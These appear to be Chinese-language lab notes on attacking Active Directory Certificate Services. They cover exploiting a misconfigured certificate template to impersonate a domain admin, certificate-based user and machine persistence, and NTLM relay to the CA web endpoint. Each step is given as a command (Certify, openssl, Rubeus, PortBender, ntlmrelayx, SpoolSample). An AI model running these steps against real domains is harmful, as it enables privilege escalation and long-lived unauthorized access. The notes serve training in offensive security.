ADCS的利用
微软提供的ADCS证书模板是分发证书的基点,它们旨在为特定需求复制和配置。 这些模板中的错误配置可能会被利用以提升权限。
在wkstn-3主机上,以iyates身份,使用certify工具寻找配置不当的模板:execute-assembly certify.exe find /vulnerable
我们发现CA dc-1\ca-1下的VulnerableUserTemplate模板是配置不当的,允许任何域用户为任何其他的域用户申请证书,包括域管理员,并用该证书向域认证
CA为dc-1.cyberbotic.io\ca-1
模板名称为VulnerableUserTemplate
ENROLLEE_SUPPLIES_SUBJECT允许证书请求者提供SAN
证书使用的是客户端身份认证
域用户有注册权限,因此任何域用户可以使用此模板申请证书
利用步骤
1:为域用户nglover申请证书:certify.exe request /ca:dc-1.cyberbotic.io\ca-1 /template:VulnerableUserTemplate /altname:nglover
2:将整个证书包括私钥复制下来并保存成cert.pem文件,然后使用openssl命令将其转换成pfx格式。我们可以添加一个密码或者留空:openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
3:将cert.pfx转换成base64编码后的字符串并使用rubeus asktgt使用该证书申请TGT
转换证书与私钥为pfx格式
请求TGT
ADCS不但可以被利用与提升特权,也可以用于维持对主机与用户的访问。如果证书的请求不需要管理批准,这尤其可行
用户持久化
在wkstn-2会话中以nlamb身份运行certify并找到所有允许客户认证的模板:execute-assembly certify.exe find /clientauth /ca:dc-2.dev.cyberbotic.io\ca-2
使用该模板申请证书:execute-assembly certify.exe request /ca:dc-2.dev.cyberbotics.io\ca-2 \template:User
该证书允许我们为当前用户申请TGT,有效期是1年,即便用户更改了密码。这是一个很好的实现用户持久化的方法,因为不需要触碰lsass且无需管理员特权。除非CA吊销了该证书
使用user模板实现持久化
主机持久化
与用户持久化并非完全不同,因为主机实际上是AD里特殊的用户类型,并且可以给自身申请证书。主机证书模板默认叫Machine,有效期1年,不需要授权,每个主机都有注册权
execute-assembly certify.exe request /ca:dc-2.dev.cyberbotic.io\ca-2 /template:Machine /machine
/machine参数告诉certify自动提升至SYSTEM权限,并且身份为主机帐号,因此需要管理员特权下运行
在SYSTEM权限下为SRV-1$申请证书
ADCS NTLM中继
ADCS服务支持HTTP的注册方法,甚至包含GUI。终端通常在http(s)://hostname/certsrv,并且默认支持NTLM认证方式
在默认配置下,这些终端会遭受NTLM中继攻击。通常的利用方式是强制DC向攻击者控制的地方认证,将请求中继给CA并且获得给DC的证书,然后用证书获得TGT
工具SharpSystemTriggers (https://github.com/cube0x0/SharpSystemTriggers)同PrintSpoofer一样,包含其他远程认证方法
ADCS的HTTP终端
需要注意的是,请求不能被中继至自身。这里,CA运行在DC-1,意味着我们不能将请求中继至DC-1然后获得DC-1的证书
在SRV-1上以SYSTEM权限
1:使用PortBender重定向SMB流量至8445端口
2:使用逆向端口转发将8445端口的流量转发到TS的445端口
3:开启SOCKS代理,使用ntlmrelayx将流量返还至网络
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
socks 1080
proxychains ntlmrelayx.py -t http://10.10.15.75/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
强制WKSTN-3向SRV-1认证:execute-assembly spoolsample.exe wkstn-3 srv-1
接着,我们能看到portbender中的日志信息,然后在Kali上,ntlmrelayx输出了base64编码后的证书。在获得TGT之后,我们可以获得任何该主机上的服务的TGS